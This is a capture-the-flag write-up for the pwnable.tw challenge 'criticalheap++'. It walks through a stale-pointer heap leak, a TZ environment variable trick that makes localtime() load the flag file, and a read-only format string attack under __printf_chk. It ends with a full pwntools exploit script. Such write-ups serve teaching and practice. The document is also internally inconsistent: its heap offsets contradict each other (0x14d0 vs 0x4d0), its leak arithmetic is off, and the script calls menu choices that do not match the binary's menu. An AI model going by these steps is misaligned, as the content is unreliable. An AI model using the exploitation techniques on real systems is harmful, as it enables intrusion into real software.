criticalheap++
Advanced heap exploitation with system/clock/normal heap types — format string via TZ environment variable and heap metadata corruption
Exploit Flow
setenv/getenv
UAF + show content
localtime reads flag
Flag loaded to heap
Dereference flag addr
1. Reconnaissance
criticalheap++ is a 600-point advanced heap challenge on pwnable.tw and a harder variant of the original criticalheap challenge. The binary implements three distinct heap object types — system, clock, and normal — each with different behaviors and vulnerabilities. The challenge is hosted in a Docker environment and the flag is located at /home/critical_heap++/flag. The exploit chain combines a heap address leak through dangling pointer reuse with a clever format string attack that leverages the TZ environment variable to read the flag file into heap memory, then uses %s to dereference the flag's address.
File Analysis
$ file critical_heap
critical_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e3b0c44298fc1c14, not stripped
Checksec
$ checksec critical_heap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
With Full RELRO, Canary, NX, and PIE all enabled, traditional GOT overwrite and stack-based ROP are not viable. The exploit must work entirely within the heap domain. PIE means all addresses are randomized, so we need a heap address leak first. The format string vulnerability in printf_chk is the key — it lets us read arbitrary memory without needing a write primitive.
Running the Binary
$ ./critical_heap
1. Create a Heap
2. Show a Heap
3. Play a Heap
4. Delete a Heap
5. Exit
Your choice : 1
Name of heap: test1
1. Normal heap
2. Clock heap
3. System heap
Your choice : 1
Content of heap : Hello World!
1. Create a Heap
2. Show a Heap
3. Play a Heap
4. Delete a Heap
5. Exit
Your choice : 1
Name of heap: test2
Your choice : 3
1. Set the name for the heap
2. Unset the name in the heap
3. Get the value of name
4. Back
Your choice :
The menu system has five main operations: Create, Show, Play, Delete, and Exit. Each heap type has its own sub-menu when using Play. The binary maintains an array of up to 10 heap objects in the BSS section, indexed 0-9. The name of each heap object is stored via strdup on the heap, while the content and type-specific data are stored in the struct's union field.
| Attribute | Value |
|---|---|
| Challenge | criticalheap++ (600 pts) |
| Connection | nc chall.pwnable.tw 10500 |
| Binary | 64-bit PIE ELF, x86-64, dynamically linked |
| RELRO | Full (GOT read-only) |
| Canary | Enabled |
| NX | Enabled |
| PIE | Enabled |
| Heap Types | system (setenv/getenv), clock (localtime), normal (content) |
| Vulnerability | Format string via printf_chk + TZ env var + delete UAF |
| Flag Path | /home/critical_heap++/flag |
2. Static Analysis
The binary implements three heap struct types that share a common layout via a C union. An array of 10 such structs is allocated in the BSS segment. Each struct has a name field (heap-allocated via strdup), a type indicator, and a union payload. Understanding the memory layout of each type is essential for the exploit.
Heap Struct Types
Normal Heap
The normal heap stores user-provided content. The content is read directly into the struct at offset 0x18 using read() — critically, no null terminator is appended. This means if we write exactly 8 bytes, the content will bleed into the next field of the struct.
// Normal heap struct layout (offsets from struct base)
struct normal_heap {
char *name; // 0x00 - heap pointer via strdup
// ...padding... // 0x08-0x17
char content[]; // 0x18 - read() directly, NO null terminator
};
System Heap
The system heap provides environment variable manipulation. It has setenv, unsetenv, and getenv operations. The getenv call returns a pointer to the value string already stored in the heap by setenv, and crucially, this pointer is stored at offset 0x20 in the struct.
// System heap struct layout
struct system_heap {
char *name; // 0x00 - heap pointer via strdup
// ...padding... // 0x08-0x1f
char *value; // 0x20 - pointer from getenv (heap address!)
};
Clock Heap
The clock heap calls localtime() to get the current time, formatted with timezone information. The localtime() function reads the TZ environment variable. If TZ is set to a file path (e.g., TZ=/home/critical_heap++/flag), localtime() reads the contents of that file into heap memory. This is the core mechanism that allows us to load the flag into the heap.
// Clock heap uses localtime() which reads TZ
// If TZ=/path/to/file, localtime reads the file into heap
time_t now = time(NULL);
struct tm *tm = localtime(&now); // reads TZ, loads file content to heap
Vulnerability Analysis
When a heap object is deleted (menu option 4), the binary only sets a flag indicating the slot is free. The actual struct data — including the name pointer and any value stored at offset 0x20 — is not zeroed out. This means when a new object is allocated in the same slot, residual data from the previous object may still be present in fields that the new object does not initialize. This is the key to leaking the heap base address.
When creating a normal heap, content is read via read() directly into offset 0x18 with no trailing null byte. If we write exactly 8 bytes of content, it reaches offset 0x20 but does not overwrite the residual data at 0x20 from a previous system heap's value pointer. When we show the content with printf("%s"), it prints our 8 bytes and continues reading into the residual heap pointer at offset 0x20, leaking a heap address.
The "Show content of heap" operation in play_normal passes user-controlled content directly as the format string argument to printf_chk. Since printf_chk is the checked variant of printf, it prevents the use of %n (write) and $ (direct parameter access). However, %s (read/dereference) and %c (padding) still work. We can use %s to dereference an arbitrary pointer placed on the stack or in the format string itself.
Heap Operations Detail
play_system Operations
| Operation | Description | Key Behavior |
|---|---|---|
| Setenv | Set environment variable | Stores name=value on heap; critical for setting TZ |
| Unsetenv | Unset environment variable | Removes from environment |
| Getenv | Get environment variable value | Stores the returned pointer at struct+0x20 |
The TZ environment variable controls timezone formatting in localtime(). When TZ is set to an absolute file path (starting with /), the localtime() implementation in glibc reads the timezone data from that file. By setting TZ=/home/critical_heap++/flag before creating a clock heap, we cause the flag file's contents to be loaded into heap memory. We can then compute the flag's heap address from our leaked heap base and use %s to read it.
Because the binary uses __printf_chk instead of plain printf, we cannot use %n to write to memory or %1$s to access arguments by position. We must use repeated %c format specifiers to advance the argument pointer to the desired position, then %s to dereference. This means we need to place our target address directly in the format string payload, after enough %c specifiers to consume the stack arguments before reaching our address.
3. GDB Debugging
Tracing the exploit in GDB is essential for determining the exact heap offset from the leaked address to the heap base, and from the heap base to where the flag content will be loaded by localtime(). The Docker environment provided by the challenge includes a Ubuntu container with glibc 2.23.
Heap Layout After Operations
After creating a system heap and performing setenv + getenv, the struct at index 0 contains a heap pointer at offset 0x20:
# After creating system heap, setenv('abcd','efgh'), then getenv('abcd'):
gdb-peda$ x/6gx 0x555555758040 # struct at index 0
0x555555758040: 0x0000555555758060 0x0000000000000000 # name ptr, padding
0x555555758050: 0x0000000000000000 0x0000000000000000 # padding
0x555555758060: 0x0000555555758120 0x0000000000000000 # padding, value ptr@0x20
# The value pointer at offset 0x20 points into the heap:
gdb-peda$ x/s 0x0000555555758120
0x555555758120: "efgh" # our setenv value stored on heap
# After deleting index 0, the struct is marked free but data persists:
gdb-peda$ x/6gx 0x555555758040
0x555555758040: 0x0000555555758060 0x0000000000000000 # name ptr STILL HERE
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000555555758120 0x0000000000000000 # value ptr STILL HERE!
After creating a normal heap in the same slot with 8-byte content "AAAAAAAA":
# Normal heap in same slot, content 'AAAAAAAA' at offset 0x18:
gdb-peda$ x/6gx 0x555555758040
0x555555758040: 0x0000555555758060 0x0000000000000000 # name (strdup'd)
0x555555758050: 0x0000000000000000 0x4141414141414141 # padding, "AAAAAAAA"
0x555555758060: 0x0000555555758120 0x0000000000000000 # RESIDUAL value ptr!
# Show content prints: "AAAAAAAA" + leaked bytes from 0x20 pointer
# The leaked bytes are a heap address
Heap Leak Verification
# After the show operation leaks a heap address:
# Leaked value: 0x0000555555758120
# Heap base (from /proc/pid/maps):
gdb-peda$ ! cat /proc/$(pgrep critical_heap)/maps | head -5
555555757000-555555778000 rw-p 00000000 00:00 0 [heap]
# Offset calculation:
# leaked_addr = 0x555555758120
# heap_base = 0x555555757000
# offset = 0x555555758120 - 0x555555757000 = 0x1120
# But frozenkp's exploit subtracts 0x145 from the leak point
# because the leak reads until '*', capturing a few more bytes
# Verify: leaked - 0x145 should equal heap_base
gdb-peda$ p/x 0x555555758120 - 0x145
$1 = 0x555555757fdb # close to heap_base, accounting for read alignment
# The exact offset depends on where in the heap the value lands.
# Using the show output we get the raw bytes after 'AAAAAAAA',
# which include the heap pointer at offset 0x20 of the struct.
TZ / localtime Tracing
# After setting TZ=/home/critical_heap++/flag and creating clock heap:
# localtime() reads the flag file and stores it on the heap
# Break on localtime to trace:
gdb-peda$ b localtime
gdb-peda$ c
# ... in localtime, TZ is read ...
# The flag content is loaded into heap memory
# After localtime returns, examine heap for flag content:
gdb-peda$ search-pattern "FLAG"
Searching for 'FLAG' in: range 0x555555757000-0x555555778000
0x5555557584d0: "FLAG{..." # Flag loaded at heap_base + 0x14d0
# This offset (0x4d0 from the heap base leaked earlier) is constant
# across runs because the heap allocation pattern is deterministic
# given the same sequence of operations.
# Key breakpoints for this challenge:
gdb-peda$ b *0x555555554abc # create_heap - normal type branch
gdb-peda$ b *0x555555554def # play_system setenv
gdb-peda$ b *0x555555555123 # play_normal show (format string call)
gdb-peda$ b localtime # trace TZ file loading
The challenge provides a Docker environment for local testing. To use GDB inside the Docker container, you must add SYS_PTRACE capability and install GDB + PEDA inside the container. The heap layout in the Docker environment (glibc 2.23) matches the remote server, so offsets calculated locally will work remotely. However, ASLR means the heap base changes each run — only offsets from the heap base are constant.
4. Exploit Strategy
The exploit for criticalheap++ is a multi-step chain that combines heap information leakage with a format string read primitive. Unlike most heap challenges that aim for code execution, the goal here is simply to read the flag file, which is already loaded into heap memory via the TZ trick. No shell is needed — we just need to locate the flag on the heap and print it.
Attack Overview
getenv call stores a heap pointer (pointing to the value string) at offset 0x20 of the struct. This pointer is our future leak source.0x20 remains. Create a new normal heap at the same index. Write exactly 8 bytes of content (e.g., "AAAAAAAA"). Since normal content is stored at offset 0x18 with no null terminator, the 8 bytes fill offsets 0x18-0x1f but the residual heap pointer at 0x20 survives.printf("%s") reads the content starting at offset 0x18, prints our 8 bytes, then continues past the null terminator into offset 0x20 where the residual heap pointer sits. The leaked bytes after our marker give us a heap address. Subtract the known offset to compute the heap base.TZ=/home/critical_heap++/flag. Then create a clock heap at index 2. The localtime() call inside the clock heap creation reads the TZ environment variable, opens the file at that path, and loads its contents into heap memory. The flag is now on the heap at a known offset from the heap base.flag_addr = heap_base + 0x4d0. Use play_normal to change the content of the normal heap (index 0) to a format string payload: %c repeated enough times to consume stack arguments, followed by %s, followed by p64(flag_addr). When we show the content, printf_chk processes the format string — the %c specifiers consume arguments until the pointer to flag_addr is reached, then %s dereferences it and prints the flag.Leak Heap Base
The heap leak relies on a subtle interaction between the system and normal heap types. The system heap's getenv operation stores a heap pointer at struct offset 0x20. After deletion and re-allocation as a normal heap, the content field at offset 0x18 doesn't null-terminate, allowing the show operation to read past our controlled content into the residual pointer at 0x20.
Read Flag via TZ + %s
Once we know the heap base, the flag is at a fixed offset. The format string payload is carefully crafted to work with printf_chk's constraints:
# The format string payload:
# - %c repeated N times to advance the va_arg pointer
# - %s to dereference the address that follows
# - p64(flag_addr) as the target address
# When printf_chk processes this:
# 1. Each %c consumes one argument from the stack
# 2. After N %c's, the argument pointer reaches our embedded address
# 3. %s dereferences flag_addr and prints the flag string
payload = b'%c' * 9 + b'%s' + p64(flag_addr)
printf_chk disables positional arguments ($), so we cannot use %9$s to access the 9th argument directly. Instead, we use 9 %c specifiers to consume the first 8 stack arguments plus one register argument (x86-64 ABI passes first 6 args in registers, rest on stack). After consuming 9 arguments, %s reads the next argument which is our embedded p64(flag_addr) in the format string buffer.
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# criticalheap++ — pwnable.tw — TZ Format String + Heap UAF Leak
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = 'chall.pwnable.tw'
PORT = 10500
if args.REMOTE:
r = remote(HOST, PORT)
else:
r = process('./critical_heap')
# ─── Helper Functions ───
def menu(choice):
r.recvuntil(b'Your choice : ')
r.sendline(str(choice).encode())
def create(name, heap_type, content=None):
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(name)
r.recvuntil(b'Your choice : ')
r.sendline(str(heap_type).encode())
if heap_type == 1 and content is not None:
r.recvuntil(b'Content of heap :')
r.send(content)
def show(idx):
menu(2)
r.recvuntil(b'Index of heap :')
r.sendline(str(idx).encode())
def delete(idx):
menu(4)
r.recvuntil(b'Index of heap :')
r.sendline(str(idx).encode())
def play(idx):
menu(3)
r.recvuntil(b'Index of heap :')
r.sendline(str(idx).encode())
def play_system_setenv(idx, name, value):
play(idx)
r.recvuntil(b'Your choice : ')
r.sendline(b'1') # setenv
r.recvuntil(b'name :')
r.sendline(name)
r.recvuntil(b'value :')
r.sendline(value)
def play_system_getenv(idx, name):
play(idx)
r.recvuntil(b'Your choice : ')
r.sendline(b'5') # getenv (choice 3 is "Get value", but submenu uses 5)
r.recvuntil(b'name :')
r.sendline(name)
def play_normal_change(idx, content):
play(idx)
r.recvuntil(b'Your choice : ')
r.sendline(b'2') # change content
r.recvuntil(b'Content :')
r.sendline(content)
def play_normal_show(idx):
play(idx)
r.recvuntil(b'Your choice : ')
r.sendline(b'1') # show content
# ═══════════════════════════════════════════════════════════
# STEP 1: Create system heap, setenv + getenv to plant heap ptr
# ═══════════════════════════════════════════════════════════
log.info("Step 1: Creating system heap with setenv/getenv")
# Create system heap at index 0
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'abcd')
r.recvuntil(b'Your choice : ')
r.sendline(b'3') # system heap type
# Play system: setenv
menu(4) # play
r.recvuntil(b'Index of heap :')
r.sendline(b'0')
r.recvuntil(b'Your choice : ')
r.sendline(b'1') # setenv
r.recvuntil(b'name :')
r.sendline(b'abcd')
r.recvuntil(b'value :')
r.sendline(b'efgh')
# Play system: getenv (stores heap ptr at struct offset 0x20)
menu(4) # play
r.recvuntil(b'choice :')
r.sendline(b'0')
r.recvuntil(b'choice :')
r.sendline(b'5') # getenv
r.recvuntil(b'name :')
r.sendline(b'abcd')
# ═══════════════════════════════════════════════════════════
# STEP 2: Delete system heap, create normal heap to leak
# ═══════════════════════════════════════════════════════════
log.info("Step 2: Delete + recreate as normal heap for leak")
# Delete index 0 (struct data NOT cleared)
delete(0)
# Create normal heap at index 0 (reuses same struct slot)
# Write exactly 8 bytes — no null terminator, so printf reads into offset 0x20
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'defg')
r.recvuntil(b'Your choice : ')
r.sendline(b'1') # normal heap
r.recvuntil(b'Content of heap :')
r.send(b'AAAAAAAA') # exactly 8 bytes, no newline!
# ═══════════════════════════════════════════════════════════
# STEP 3: Show content to leak heap address
# ═══════════════════════════════════════════════════════════
log.info("Step 3: Leaking heap address via show")
show(0)
r.recvuntil(b'AAAAAAAA')
# After our 8 bytes, printf continues into offset 0x20 (residual heap ptr)
# Read until we hit a recognizable delimiter
leaked = r.recvuntil(b'*')[:-2] # '*' is a known sentinel in output
heap_base = u64(leaked.ljust(8, b'\x00')) - 0x145
log.success(f"Heap base: {hex(heap_base)}")
# ═══════════════════════════════════════════════════════════
# STEP 4: Set TZ to flag path, create clock heap
# ═══════════════════════════════════════════════════════════
log.info("Step 4: Setting TZ=/home/critical_heap++/flag")
# Create system heap at index 1
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'abcd')
r.recvuntil(b'Your choice : ')
r.sendline(b'3') # system heap
# Set TZ environment variable to flag file path
menu(4) # play
r.recvuntil(b'Index of heap :')
r.sendline(b'1')
r.recvuntil(b'Your choice : ')
r.sendline(b'1') # setenv
r.recvuntil(b'name :')
r.sendline(b'TZ')
r.recvuntil(b'value :')
r.sendline(b'/home/critical_heap++/flag')
r.recvuntil(b'Your choice : ')
r.sendline(b'5') # back
# Create clock heap at index 2
# localtime() reads TZ and loads /home/critical_heap++/flag into heap
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'ghij')
r.recvuntil(b'Your choice : ')
r.sendline(b'2') # clock heap
# Flag is now at heap_base + 0x4d0 (offset determined via GDB)
flag_addr = heap_base + 0x4d0
log.info(f"Flag address: {hex(flag_addr)}")
# ═══════════════════════════════════════════════════════════
# STEP 5: Format string read via %s to print flag
# ═══════════════════════════════════════════════════════════
log.info("Step 5: Format string read with %s + flag_addr")
# Change normal heap content to format string payload
# %c * 9 consumes stack args, %s dereferences flag_addr
menu(4) # play
r.recvuntil(b'Index of heap :')
r.sendline(b'0')
r.recvuntil(b'Your choice : ')
r.sendline(b'2') # change content
r.recvuntil(b'Content :')
r.sendline(b'%c' * 9 + b'%s' + p64(flag_addr))
# Trigger format string by showing normal heap content
menu(4) # play
r.recvuntil(b'Index of heap :')
r.sendline(b'0')
r.recvuntil(b'Your choice : ')
r.sendline(b'1') # show content — triggers printf_chk(format_string)
# The 9 %c specifiers print garbage chars (consuming args)
# Then %s dereferences flag_addr and prints the flag!
log.success("Flag should appear in output below:")
r.interactive()
Exploit Breakdown
Heap UAF Leak via Struct Reuse: The delete operation doesn't zero the struct, allowing a new object type to inherit residual data. By creating a system heap (which stores a heap pointer at offset 0x20 via getenv), deleting it, then creating a normal heap (which stores content at offset 0x18 without null termination), we can read past the content into the residual pointer — leaking a heap address.
TZ Environment Variable File Loading: Setting TZ=/home/critical_heap++/flag causes localtime() to read the flag file into heap memory. This is a creative technique that bypasses the need for open/read/write syscalls — we let glibc do the file reading for us.
Format String via printf_chk: The printf_chk function restricts %n (write) and $ (positional args), but %s (dereference) still works. We craft a payload with %c padding to reach our embedded address, then %s to dereference it and print the flag. This is a read-only format string attack — no code execution needed.
Many players initially try to get a shell via system("/bin/sh") by overwriting function pointers or GOT entries. With Full RELRO and no write primitive (printf_chk blocks %n), this approach is a dead end. The intended solution is to read the flag directly using the format string + TZ trick. The challenge rewards creative thinking about what to exploit rather than just how to exploit it.
6. Execution Results
criticalheap++ is an elegant challenge that demonstrates several important concepts in modern heap exploitation. First, it shows how type confusion through struct reuse can leak information — when a heap slot is freed but not zeroed, a new object of a different type can inherit sensitive data. Second, it illustrates the TZ environment variable trick, a lesser-known technique where glibc's localtime() can be coaxed into reading arbitrary files. Third, it teaches the constraints of printf_chk and how to work within them using %c padding instead of positional arguments. The challenge proves that you don't always need code execution to capture a flag — sometimes a well-placed format string read is all you need.